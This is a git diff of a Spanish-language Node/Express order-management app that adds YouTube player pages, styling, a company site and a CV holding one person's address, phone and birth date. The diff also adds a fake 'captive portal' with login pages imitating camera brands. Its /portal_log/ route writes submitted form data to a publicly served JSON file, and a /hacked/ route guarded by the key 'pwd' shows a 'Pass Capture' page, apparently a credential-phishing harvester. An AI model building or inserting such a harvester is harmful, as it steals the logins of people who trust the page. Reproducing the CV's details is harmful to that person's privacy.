diff --git a/src/app.js b/src/app.js
index 346878d..746eae0 100644
--- a/src/app.js
+++ b/src/app.js
@@ -86,6 +86,7 @@ app.get('/pruebaJson',function(req,res){
//archivos staticos
app.use(express.static(path.join(__dirname, 'public')));
+//app.set('trust proxy', true);
//inicia servidor
app.listen(app.get('port'),() =>{
diff --git a/src/controladores/controlador_Clientes.js b/src/controladores/controlador_Clientes.js
index 84a9654..db96698 100644
--- a/src/controladores/controlador_Clientes.js
+++ b/src/controladores/controlador_Clientes.js
@@ -156,12 +156,12 @@ controlador.app_pedidos_clientes = (req, res) => {
//CONSULTA CLIENTE CLOUD C.I-RUC => ruta:/busquedaSRI
var data_url0 = 'http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php';
-var data_url1 = "https://xsystem.ddns.net/app/clientes_cloud.php";
+var data_url1 = "https://siax-system.net/app/clientes_cloud.php";
var data_url2 = "http://sheyla2.dyndns.info/SRI/SRI.php";
var data_url3 = "http://192.168.10.100:8000/test_post";
var arrayUrl = [
"http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php",
- "https://xsystem.ddns.net/api/clientes_cloud.php",
+ "https://siax-system.net/api/clientes_cloud.php",
"http://sheyla2.dyndns.info/SRI/SRI.php",
"http://192.168.10.100:8000/test_post",
"solo testing"
diff --git a/src/controladores/controlador_General.js b/src/controladores/controlador_General.js
index fe84796..3e4b152 100644
--- a/src/controladores/controlador_General.js
+++ b/src/controladores/controlador_General.js
@@ -243,7 +243,8 @@ controlador.recibe_pedidos = async (req, res) => {
PedUsoPrdct_iva: json.iva,
PedUsoPrdct_origen: json.origen
};
- ingreso_pedido(req, pedido, json.items);
+ var id_ped = ingreso_pedido(req, pedido, json.items);
+ res.json({ id: id_ped, message: "Pedido Ingresado" });
//await console.log(await ingreso_pedido(req,pedido));
//await ingreso_detalle(req, id_ped, json.items);
};
@@ -262,10 +263,12 @@ async function ingreso_pedido(req, pedido_data, items) {
ingreso_detalle(req, lastInsert, items)
//res.json({ sision: "ORDEN INGRESADA" });
//res.redirect('/clientes');//redireciona a la ruta inical de la app
+ return lastInsert;
}
});
});
}
+
async function ingreso_detalle(req, id_ped, data) {
//console.log("ID Pedido: "+id_ped);
for (var i = 0; i < data.length; i++) {
@@ -329,5 +332,30 @@ controlador.recibe_datos = (req, res) => {
//res.render('panel_control');
};
+//********** Portal Cautivo ********//
+controlador.portal = (req, res) => {
+ console.log(req.body);
+ res.render('portal');
+};
+const {saveToFile} = require('../scripts/File_io');
+controlador.portal_log = (req, res) => {
+ console.log(req.body);
+ saveToFile(req.body);
+ res.send(200);
+};
+
+//query => key: '1234567890',
+controlador.pw_hacked = (req, res) => {
+ var hostname = req.headers.host;
+ var key = req.query.key;
+ console.log(req.query);
+ if(key==='pwd'){
+ res.render('ver_pass');
+ }else{
+ res.render('no_autorizado');
+ }
+
+};
+
module.exports = controlador;
diff --git a/src/public/Html/BusquedaYoutube.html b/src/public/Html/BusquedaYoutube.html
new file mode 100644
index 0000000..9db2ead
--- /dev/null
+++ b/src/public/Html/BusquedaYoutube.html
@@ -0,0 +1,17 @@
+
+
+
+ Search
+
+
+
+ Search
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/public/Html/auth.js b/src/public/Html/auth.js
new file mode 100644
index 0000000..e41659d
--- /dev/null
+++ b/src/public/Html/auth.js
@@ -0,0 +1,58 @@
+// The client ID is obtained from the Google API Console
+// at https://console.developers.google.com/.
+// If you run this code from a server other than http://localhost,
+// you need to register your own client ID.
+var OAUTH2_CLIENT_ID = '361238658-ipvtecve83v9hmp037el45ebao4guqmm.apps.googleusercontent.com';
+var OAUTH2_SCOPES = [
+ 'https://www.googleapis.com/auth/youtube'
+];
+
+// Upon loading, the Google APIs JS client automatically invokes this callback.
+googleApiClientReady = function() {
+ gapi.auth.init(function() {
+ window.setTimeout(checkAuth, 1);
+ });
+}
+
+// Attempt the immediate OAuth 2.0 client flow as soon as the page loads.
+// If the currently logged-in Google Account has previously authorized
+// the client specified as the OAUTH2_CLIENT_ID, then the authorization
+// succeeds with no user intervention. Otherwise, it fails and the
+// user interface that prompts for authorization needs to display.
+function checkAuth() {
+ gapi.auth.authorize({
+ client_id: OAUTH2_CLIENT_ID,
+ scope: OAUTH2_SCOPES,
+ immediate: true
+ }, handleAuthResult);
+}
+
+// Handle the result of a gapi.auth.authorize() call.
+function handleAuthResult(authResult) {
+ if (authResult && !authResult.error) {
+ // Authorization was successful. Hide authorization prompts and show
+ // content that should be visible after authorization succeeds.
+ $('.pre-auth').hide();
+ $('.post-auth').show();
+ loadAPIClientInterfaces();
+ } else {
+ // Make the #login-link clickable. Attempt a non-immediate OAuth 2.0
+ // client flow. The current function is called when that flow completes.
+ $('#login-link').click(function() {
+ gapi.auth.authorize({
+ client_id: OAUTH2_CLIENT_ID,
+ scope: OAUTH2_SCOPES,
+ immediate: false
+ }, handleAuthResult);
+ });
+ }
+}
+
+// Load the client interfaces for the YouTube Analytics and Data APIs, which
+// are required to use the Google APIs JS client. More info is available at
+// https://developers.google.com/api-client-library/javascript/dev/dev_jscript#loading-the-client-library-and-the-api
+function loadAPIClientInterfaces() {
+ gapi.client.load('youtube', 'v3', function() {
+ handleAPILoaded();
+ });
+}
\ No newline at end of file
diff --git a/src/public/Html/contenedor.css b/src/public/Html/contenedor.css
new file mode 100644
index 0000000..d8cf2e4
--- /dev/null
+++ b/src/public/Html/contenedor.css
@@ -0,0 +1,11 @@
+.pantalla{
+ margin: 0;
+ padding: 0;
+ height: 90%;
+
+ box-sizing: border-box;
+}
+
+.cubo{
+ position: relative;
+}
\ No newline at end of file
diff --git a/src/public/Html/control.js b/src/public/Html/control.js
new file mode 100644
index 0000000..d06c6c6
--- /dev/null
+++ b/src/public/Html/control.js
@@ -0,0 +1,4 @@
+var listaRep = ['https://www.youtube.com/watch?v=wDk99yR4r8U&ab_channel=HombresG-Topic',''];
+function controlYt(){
+ var rep = document.getElementById('ytplayer');
+}
\ No newline at end of file
diff --git a/src/public/Html/cv.html b/src/public/Html/cv.html
new file mode 100644
index 0000000..bdf566f
--- /dev/null
+++ b/src/public/Html/cv.html
@@ -0,0 +1,5524 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Cambiar nombre de la sección
+
+
+
+
+
+
+
+
+
+ Añadir salto de página
+
+
+ Mostrar nombre en
+
+ Título
+
Datos personales
+
+
Both
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Foto
+
+
+
+
+
+
+
+
+ Editar
+
+
+ Eliminar
+
+
+
+ Actualizar
+
+
+
+
+
+
+
Correo
+ electrónico
+
+
+
+
+
+
+
+
+
+
+
Fecha de
+ nacimiento
+
+
+
+
+
+
Lugar de
+ nacimiento
+
+
+
+
+
+
+
+
+ Hombre
+ Mujer
+
+
+
+
+
+
+
+
+ Soltero
+ Viviendo juntos
+ Sociedad registrada
+ Casado
+ Divorciado
+ Viudo
+
+
+
+
+
+
+
+
+
+
+ Carné de conducir
+
+
+
+
+
+
+ Campo personalizado
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Pasatiempos e intereses
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Sección personalizada
+
+
+
+
+
Sección
+ de descripción Sección
+ de inscripciones Sección
+ de competencias Sección
+ de lista
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/public/Html/cv2.html b/src/public/Html/cv2.html
new file mode 100644
index 0000000..6a3615c
--- /dev/null
+++ b/src/public/Html/cv2.html
@@ -0,0 +1,422 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Pablo
+ Farias
+ DEV
+ Sistemas
+ y
+ Networking
+
+ pablinux
+ @
+ hotmail
+ .
+ es
+
+ +
+ 593991054931
+
+ Calle
+ 3
+ de
+ Agosto
+ y
+ Edmundo
+ Andrade
+ ,
+ 212223
+ Santo
+ Domingo
+ Formación
+ Ingeneria
+ en
+ Sistemas
+ y
+ Networking
+ Universidad
+ Tecnologica
+ America
+ ,
+ QUITO
+ Desarrollo
+ de
+ Sistemas
+
+
+ Experiencia
+ Sistema
+ Inteligente
+ de
+ Gestion
+ Modular
+ Administrativo
+ feb
+ 2020
+ -
+ presente
+ Telcotronics
+ ,
+ Santo
+ Domingo
+
+
+ Cursos
+ Alfa
+
+ go
+ presente
+ AWS
+ Google
+
+ Cloud
+ Open
+
+ IA
+
+
+ Logros
+ https
+ :
+ //sigmac
+ .
+ app
+ https
+ :
+ //telcotronics
+ .
+ com
+ https
+ :
+ //zonafranka
+ .
+ ec
+ https
+ :
+ //domus
+ -
+ fa
+ .
+ com
+ Desarrollo
+ de
+ Sistema
+
+
+ Prácticas
+ Desarrollador
+ presente
+ Telcotronics
+ ,
+ Santo
+ Domingo
+
+
+
+
+ Datos
+ personales
+ Fecha
+ de
+ nacimiento
+ 18
+ de
+ marzo
+ de
+ 1984
+ Lugar
+ de
+ nacimiento
+ El
+
+ Carmen
+ -
+
+ Manabi
+ -
+ Ecuador
+ Género
+ Hombre
+ Nacionalidad
+ Ecuatoriano
+ Estado
+ civil
+ Casado
+ Sitio
+ web
+ sigmac
+ .
+ app
+
+
+ Competencias
+ Desarrollo
+ en
+ JAVA
+
+ Desarrollo
+ WEB
+ Fronent
+ (
+ JS
+ ,
+ CSS
+ ,
+ HTML
+ )
+
+
+ Desarrollo
+ de
+ Sistemas
+ IA
+ (
+ Phyton
+ )
+
+
+ Desarrollo
+ BackEnd
+ (
+ NodeJS
+ ,
+ Java
+ ,
+ Spring
+ ,
+ Php
+ ,
+ C
+ +
+ )
+
+ Manejo
+ de
+ Servidores
+ (
+ Linux
+ )
+
+ Desarrollo
+ de
+ Apps
+ (
+ C#
+ ,
+ JAVA
+ ,
+ React
+ )
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/public/Html/formulario_creacionWebs.html b/src/public/Html/formulario_creacionWebs.html
new file mode 100644
index 0000000..e045763
--- /dev/null
+++ b/src/public/Html/formulario_creacionWebs.html
@@ -0,0 +1,494 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Colores
+
+
+
+
+ Primario
+
+
+
+ Secundario
+
+
+
+ Tipo de Fuente
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Guardar
+ send
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/public/Html/menu.css b/src/public/Html/menu.css
new file mode 100644
index 0000000..b6021c8
--- /dev/null
+++ b/src/public/Html/menu.css
@@ -0,0 +1,130 @@
+@import url('http://fonts.googleapis.com/css?family=Poppins:100,200,300,400,500,600,700,800,900');
+*
+{
+ margin: 0;
+ padding: 0;
+ box-sizing: border-box;
+ font-family:'Poppins',sans-serif;
+}
+:root{
+ --clr:#222327;
+ --clr0:#050505;
+}
+body{
+ display: flex;
+ justify-content: center;
+ align-items: center;
+ min-height: 100vh;
+ /*background: var(--clr);*/
+}
+.container{
+ display: flex;
+ justify-content:center;
+ align-items: center;
+ width: 420px;
+ height:600px;
+ background: var(--clr)
+}
+.navigation{
+ width: 400px;
+ height:70px;
+ background: #fff;
+ border-radius: 10px;
+ /*position: relative;*/
+
+}
+.navigation ul{
+ display: flex;
+ width: 350px;
+}
+.navigation ul li{
+ position: relative;
+ list-style: none;
+ width: 70px;
+ height:70px;
+ z-index: 1;
+}
+.navigation ul li a{
+ position: relative;
+ display: flex;
+ justify-content: center;
+ align-items: center;
+ flex-direction: column;
+ width:100%;
+ text-align: center;
+ font-weight: 500;
+}
+.navigation ul li a .icon{
+ position: relative;
+ display: block;
+ line-height: 75px;
+ font-size: 1.5em;
+ text-align: center;
+ transition: 0.5s;
+ color: var(--clr);
+}
+.navigation ul li.active a .icon{
+ transform: translateY(-35px);
+}
+.navigation ul li a .text{
+ position: absolute;
+ color: var(--clr);
+ font-weight: 400;
+ font-size: 0.75em;
+ letter-spacing: 0.05em;
+ transition: 0.5s;
+ opacity: 0;
+ transform: translateY(20px);
+}
+.navigation ul li.active a .text{
+ opacity: 1;
+ transform: translateY(10px);
+}
+.indicator{
+ position: absolute;
+ top: 42.5%;
+ width: 70px;
+ height: 70px;
+ background: #29fd53;
+ border-radius: 50%;
+ border: 6px solid var(--clr);
+ transition: 0.5s;
+}
+.indicator::before{
+ content: '';
+ position: absolute;
+ top: 50%;
+ width: 22px;
+ height: 22px;
+ left: -22px;
+ /*background: #f00;*/
+ border-top-right-radius: 20px;
+ box-shadow: 0px -10px 0 0 var(--clr);
+}
+.indicator::after{
+ content: '';
+ position: absolute;
+ top: 50%;
+ width: 22px;
+ height: 22px;
+ right: -22px;
+ /*background: #f00;*/
+ border-top-left-radius: 20px;
+ box-shadow: 0px -10px 0 0 var(--clr);
+}
+
+.navigation ul li:nth-child(1).active ~ .indicator{
+ transform: translateX(calc(70px*0));
+}
+.navigation ul li:nth-child(2).active ~ .indicator{
+ transform: translateX(calc(70px*1));
+}
+.navigation ul li:nth-child(3).active ~ .indicator{
+ transform: translateX(calc(70px*2));
+}
+.navigation ul li:nth-child(4).active ~ .indicator{
+ transform: translateX(calc(70px*3));
+}
+.navigation ul li:nth-child(5).active ~ .indicator{
+ transform: translateX(calc(70px*4));
+}
\ No newline at end of file
diff --git a/src/public/Html/menu.html b/src/public/Html/menu.html
new file mode 100644
index 0000000..12f8fe5
--- /dev/null
+++ b/src/public/Html/menu.html
@@ -0,0 +1,78 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/src/public/Html/obtenerPosicionGmaps.html b/src/public/Html/obtenerPosicionGmaps.html
new file mode 100644
index 0000000..5016ef8
--- /dev/null
+++ b/src/public/Html/obtenerPosicionGmaps.html
@@ -0,0 +1,42 @@
+
+
+
+
+
+
+ Document
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/public/Html/panel_chart_sigma.html b/src/public/Html/panel_chart_sigma.html
new file mode 100644
index 0000000..591067a
--- /dev/null
+++ b/src/public/Html/panel_chart_sigma.html
@@ -0,0 +1,43 @@
+
+
+
+
+
+
+
+
+ Metas de Produccion
+
+
+
+
\ No newline at end of file
diff --git a/src/public/Html/pruebaControl.html b/src/public/Html/pruebaControl.html
new file mode 100644
index 0000000..0bc3a3b
--- /dev/null
+++ b/src/public/Html/pruebaControl.html
@@ -0,0 +1,55 @@
+
+
+
+
+
+
+ Document
+
+
+
+
+
+
+ .......................
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/public/Html/rep.html b/src/public/Html/rep.html
new file mode 100644
index 0000000..b226c00
--- /dev/null
+++ b/src/public/Html/rep.html
@@ -0,0 +1,217 @@
+
+
+
+
+parlante
+
+
+
+
+
+
+
+
+
+
+agregar
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/src/public/Html/reproductor.html b/src/public/Html/reproductor.html
new file mode 100644
index 0000000..ddcfde9
--- /dev/null
+++ b/src/public/Html/reproductor.html
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/public/Html/search.js b/src/public/Html/search.js
new file mode 100644
index 0000000..4ab8c67
--- /dev/null
+++ b/src/public/Html/search.js
@@ -0,0 +1,18 @@
+// After the API loads, call a function to enable the search box.
+function handleAPILoaded() {
+ $('#search-button').attr('disabled', false);
+}
+
+// Search for a specified string.
+function search() {
+ var q = $('#query').val();
+ var request = gapi.client.youtube.search.list({
+ q: q,
+ part: 'snippet'
+ });
+
+ request.execute(function(response) {
+ var str = JSON.stringify(response.result);
+ $('#search-container').html('' + str + ' ');
+ });
+}
\ No newline at end of file
diff --git a/src/public/Html/test_boostrap.html b/src/public/Html/test_boostrap.html
new file mode 100644
index 0000000..19521fc
--- /dev/null
+++ b/src/public/Html/test_boostrap.html
@@ -0,0 +1,17 @@
+
+
+
+
+
+
+ Document
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/public/Html/youtube.html b/src/public/Html/youtube.html
new file mode 100644
index 0000000..781a935
--- /dev/null
+++ b/src/public/Html/youtube.html
@@ -0,0 +1,124 @@
+
+
+
+
+
+
+ Document
+
+
+
+
+
+
+
+
+ Add
+
+
+
+ Play
+ Pause
+ Stop
+ siguiente
+ info
+
+ Play
+ Pause
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/public/css/telcotronics.css b/src/public/css/telcotronics.css
new file mode 100644
index 0000000..c761237
--- /dev/null
+++ b/src/public/css/telcotronics.css
@@ -0,0 +1,207 @@
+/* General Reset */
+* {
+ margin: 0;
+ padding: 0;
+ box-sizing: border-box;
+}
+
+body {
+ font-family: 'Roboto', sans-serif;
+ line-height: 1.6;
+ color: #333;
+ background-color: #f9f9f9;
+}
+
+.container {
+ width: 90%;
+ max-width: 1200px;
+ margin: 0 auto;
+}
+
+/* Header */
+.header {
+ background: #004080;
+ color: #fff;
+ padding: 1rem 0;
+}
+
+.header .logo {
+ font-size: 1.5rem;
+ font-weight: bold;
+}
+
+.header .navigation ul {
+ display: flex;
+ justify-content: space-around;
+ list-style: none;
+}
+
+.header .navigation ul li a {
+ color: #fff;
+ text-decoration: none;
+ padding: 0.5rem 1rem;
+ transition: background-color 0.3s;
+}
+
+.header .navigation ul li a:hover {
+ background: #0066cc;
+ border-radius: 5px;
+}
+
+/* Hero Section */
+.hero {
+ background: linear-gradient(to right, #004080, #0066cc);
+ color: #fff;
+ text-align: center;
+ padding: 4rem 2rem;
+}
+
+.hero h1 {
+ font-size: 2.5rem;
+ margin-bottom: 1rem;
+}
+
+.hero p {
+ font-size: 1.2rem;
+ margin-bottom: 2rem;
+}
+
+.hero .btn-primary {
+ background: #ffaa00;
+ color: #fff;
+ padding: 0.75rem 1.5rem;
+ text-decoration: none;
+ border-radius: 5px;
+ transition: background-color 0.3s;
+}
+
+.hero .btn-primary:hover {
+ background: #cc8800;
+}
+
+/* Carousel Section */
+.carousel {
+ position: relative;
+ overflow: hidden;
+ width: 100%;
+ margin: 2rem 0;
+}
+
+.carousel img {
+ width: 100%;
+ display: block;
+ border-radius: 5px;
+}
+
+.carousel-inner {
+ display: flex;
+ transition: transform 0.5s ease-in-out;
+}
+
+.carousel-buttons {
+ position: absolute;
+ top: 50%;
+ width: 100%;
+ display: flex;
+ justify-content: space-between;
+ transform: translateY(-50%);
+}
+
+.carousel-buttons button {
+ background: rgba(0, 0, 0, 0.5);
+ color: #fff;
+ border: none;
+ padding: 0.5rem 1rem;
+ cursor: pointer;
+ transition: background 0.3s;
+}
+
+.carousel-buttons button:hover {
+ background: rgba(0, 0, 0, 0.8);
+}
+
+/* Services Section */
+.services {
+ padding: 3rem 0;
+ background: #fff;
+}
+
+.services h2 {
+ text-align: center;
+ margin-bottom: 2rem;
+ font-size: 2rem;
+}
+
+.service-grid {
+ display: grid;
+ grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
+ gap: 1.5rem;
+}
+
+.service-item {
+ background: #f1f1f1;
+ padding: 1.5rem;
+ text-align: center;
+ border-radius: 5px;
+ box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
+ transition: transform 0.3s;
+}
+
+.service-item:hover {
+ transform: scale(1.05);
+}
+
+.service-item h3 {
+ margin-bottom: 0.5rem;
+}
+
+/* Products Section */
+.products {
+ padding: 3rem 0;
+ background: #eef5ff;
+}
+
+.products h2 {
+ text-align: center;
+ margin-bottom: 2rem;
+ font-size: 2rem;
+}
+
+.product-grid {
+ display: grid;
+ grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
+ gap: 1.5rem;
+}
+
+.product-item {
+ text-align: center;
+}
+
+.product-item img {
+ width: 100%;
+ max-width: 200px;
+ margin-bottom: 1rem;
+ border-radius: 5px;
+}
+
+.product-item h3 {
+ font-size: 1.2rem;
+ color: #004080;
+}
+
+/* Footer */
+.footer {
+ background: #004080;
+ color: #fff;
+ padding: 1rem 0;
+ text-align: center;
+}
+
+.footer a {
+ color: #ffaa00;
+ text-decoration: none;
+}
+
+.footer a:hover {
+ text-decoration: underline;
+}
diff --git a/src/public/img/portal/favicon.ico b/src/public/img/portal/favicon.ico
new file mode 100644
index 0000000..70ba8dc
Binary files /dev/null and b/src/public/img/portal/favicon.ico differ
diff --git a/src/public/img/portal/login.jpg b/src/public/img/portal/login.jpg
new file mode 100644
index 0000000..672d684
Binary files /dev/null and b/src/public/img/portal/login.jpg differ
diff --git a/src/public/img/portal/logo.png b/src/public/img/portal/logo.png
new file mode 100644
index 0000000..46ba39c
Binary files /dev/null and b/src/public/img/portal/logo.png differ
diff --git a/src/public/plantilla_html/portal_cautivo.html b/src/public/plantilla_html/portal_cautivo.html
new file mode 100644
index 0000000..6247caf
--- /dev/null
+++ b/src/public/plantilla_html/portal_cautivo.html
@@ -0,0 +1,202 @@
+
+
+
+
+
+ Portal WiFi - Tema Oscuro
+
+
+
+
+
Bienvenido al Portal WiFi
+
Conéctate a nuestra red para disfrutar del servicio.
+
Iniciar sesión con Google
+
Iniciar sesión con Facebook
+
Conexión rápida (OTG)
+
+
+
+ Ingresa tu código OTG:
+
+ Login
+
+
+
+
+
+
+
+
diff --git a/src/public/plantilla_html/portal_hikvision.html b/src/public/plantilla_html/portal_hikvision.html
new file mode 100644
index 0000000..0d3fb9a
--- /dev/null
+++ b/src/public/plantilla_html/portal_hikvision.html
@@ -0,0 +1,203 @@
+
+
+
+
+
+ Login
+
+
+
+
+
+ Idioma:
+
+ Español
+ English
+
+
+
+
+
+
+
+
diff --git a/src/public/plantilla_html/telcotronics.html b/src/public/plantilla_html/telcotronics.html
new file mode 100644
index 0000000..ca60a19
--- /dev/null
+++ b/src/public/plantilla_html/telcotronics.html
@@ -0,0 +1,136 @@
+
+
+
+
+
+
+
+ Telcotronics
+
+
+
+
+
+
+
+
+
+
+
Soluciones Tecnológicas a tu Alcance
+
Innovación en telecomunicaciones, domótica y más para hacer tu vida más sencilla y eficiente.
+
Descubre Más
+
+
+
+
+
+
+
+
+
+
Nuestros Servicios
+
+
+
Facturación Electrónica
+
Implementación de sistemas avanzados para la gestión de tu negocio.
+
+
+
Cámaras de Seguridad
+
Soluciones de video vigilancia con tecnología de punta.
+
+
+
Domótica Inteligente
+
Automatización de espacios para mayor comodidad y seguridad.
+
+
+
Redes y Telecomunicaciones
+
Diseño e instalación de redes empresariales y domésticas.
+
+
+
+
+
+
+
+
Productos Destacados
+
+
+
+
Paneles Solares
+
+
+
+
Cámaras IP
+
+
+
+
Switch de Redes
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/rutas/rt_Generales.js b/src/rutas/rt_Generales.js
index 5f938a2..07365c9 100644
--- a/src/rutas/rt_Generales.js
+++ b/src/rutas/rt_Generales.js
@@ -37,4 +37,12 @@ rutas.post('/operaciones/', controlador_init.recibe_datos);//testing json reccep
rutas.get('/app-tv/', controlador_init.app_tv);//app de tv y video json
rutas.get('/tv-online/', controlador_init.app_tv);//app de tv y video json
+rutas.get('/portal/', controlador_init.portal);//app portal cautivo
+rutas.post('/portal_log/', controlador_init.portal_log);//recibir informacion
+
+
+rutas.get('/cdplus/', controlador_init.portal);//app portal cautivo
+rutas.get('/hacked/', controlador_init.pw_hacked);//app portal cautivo
+
+
module.exports = rutas;
diff --git a/src/scripts/File_io.js b/src/scripts/File_io.js
new file mode 100644
index 0000000..e1a7ed3
--- /dev/null
+++ b/src/scripts/File_io.js
@@ -0,0 +1,49 @@
+const fs = require('fs').promises;
+const path = require('path');
+const { hostname } = require('os');
+async function saveToFile(newData) {
+ try {
+ // Obtener la ruta absoluta para evitar problemas con rutas relativas
+ const filePath = path.resolve(__dirname, '../public/files/data.json');
+ const dir = path.dirname(filePath);
+
+ // Asegurarse de que el directorio existe
+ try {
+ await fs.mkdir(dir, { recursive: true });
+ } catch (err) {
+ console.error('Error al crear el directorio:', err);
+ return;
+ }
+
+ // Leer el archivo existente si ya está creado
+ let fileData = [];
+ try {
+ const data = await fs.readFile(filePath, 'utf8');
+ fileData = JSON.parse(data);
+ } catch (err) {
+ // Si el archivo no existe o está vacío, iniciamos con un array vacío
+ if (err.code !== 'ENOENT') {
+ throw err; // Si es otro tipo de error, lo lanzamos
+ }
+ }
+
+ // Si el archivo existe pero no es un array, convertirlo en uno
+ if (!Array.isArray(fileData)) {
+ fileData = [fileData];
+ }
+
+ // Agregar el nuevo objeto
+ fileData.push(newData);
+
+ // Convertir a JSON
+ const jsonData = JSON.stringify(fileData, null, 2);
+
+ // Guardar el archivo con el nuevo array actualizado
+ await fs.writeFile(filePath, jsonData);
+ console.log('Archivo actualizado correctamente.');
+ } catch (err) {
+ console.error('Error al escribir el archivo:', err);
+ }
+}
+
+module.exports = { saveToFile };
\ No newline at end of file
diff --git a/src/scripts/portal_cautivo.js b/src/scripts/portal_cautivo.js
new file mode 100644
index 0000000..e69de29
diff --git a/src/scripts/tokens.js b/src/scripts/tokens.js
new file mode 100644
index 0000000..110ee36
--- /dev/null
+++ b/src/scripts/tokens.js
@@ -0,0 +1,8 @@
+const controlador = {};
+const axios = require('axios').default;
+const jwt = require('jsonwebtoken');
+const config = require('../config');
+const { base64encode, base64decode } = require('nodejs-base64');
+const { v4: uuidv4 } = require('uuid');
+
+module.exports = controlador;
diff --git a/src/swager_config.js b/src/swager_config.js
index d6a845e..eac3f81 100644
--- a/src/swager_config.js
+++ b/src/swager_config.js
@@ -1,33 +1,23 @@
//Generando Documentacion
-//const swaggerUi = require('swagger-ui-express');
-//const swaggerDocument = require('./swagger.json');
global.config = require('./config.js');
var puerto = global.config.server.port;
-//const swaggerUi = require('swagger-ui-express');
-//Documentacion API
+
+// Documentación API
const swaggerJsdoc = require('swagger-jsdoc');
const options = {
- //explore: true,
definition: {
- openapi: '3.1.0',
- swagger:"2.0",
+ swagger: '2.0', // Usando Swagger 2.0
info: {
title: 'APP-SIGMA-WEB',
version: '1.0.0',
+ description: 'Documentación de la API para la aplicación APP-SIGMA-WEB',
},
- servers:[
- {
- url: 'http://localhost:'+puerto,
- description: 'Development server',
- },
- {
- url: 'http://app.factura-e.net',
- description: 'Productions server',
- },
-
- ]
+ host: 'localhost:' + puerto,
+ basePath: '/',
+ schemes: ['http'],
},
- apis: [`${__dirname, '/rutas/*.js'}`], // files containing annotations as above
+ apis: [`${__dirname}/rutas/*.js`],
};
+
const swagger_config = swaggerJsdoc(options);
module.exports = { swagger_config };
\ No newline at end of file
diff --git a/src/views/app_pedidos.ejs b/src/views/app_pedidos.ejs
index c9dff51..1b7691b 100644
--- a/src/views/app_pedidos.ejs
+++ b/src/views/app_pedidos.ejs
@@ -22,10 +22,11 @@
-
-
+
+
+
-
+
@@ -224,6 +225,7 @@
cloud_upload Enviar Pedido
@@ -248,8 +250,8 @@
-
-
+
+
+
+
+
403
+
Acceso No Autorizado
+
No tienes permiso para acceder a esta página.
+
Volver al Inicio
+
+
+
+
diff --git a/src/views/portal.ejs b/src/views/portal.ejs
new file mode 100644
index 0000000..a6395b9
--- /dev/null
+++ b/src/views/portal.ejs
@@ -0,0 +1,204 @@
+
+
+
+
+
+ Login Camaras CD-PLUS
+
+
+
+
+
+
+ Idioma:
+
+ Español
+ English
+
+
+
+
+
+
+
+
diff --git a/src/views/ver_pass.ejs b/src/views/ver_pass.ejs
new file mode 100644
index 0000000..3034f54
--- /dev/null
+++ b/src/views/ver_pass.ejs
@@ -0,0 +1,118 @@
+
+
+
+
+
+ Mostrar Data
+
+
+
+
+ Pass Capture
+
+
+
diff --git a/src/views/login.ejs b/src/views/login.ejs
index 532cced..ffedee8 100644
--- a/src/views/login.ejs
+++ b/src/views/login.ejs
@@ -1,5 +1,5 @@
-
+
diff --git a/src/views/no_autorizado.ejs b/src/views/no_autorizado.ejs
new file mode 100644
index 0000000..b010efe
--- /dev/null
+++ b/src/views/no_autorizado.ejs
@@ -0,0 +1,84 @@
+
+
+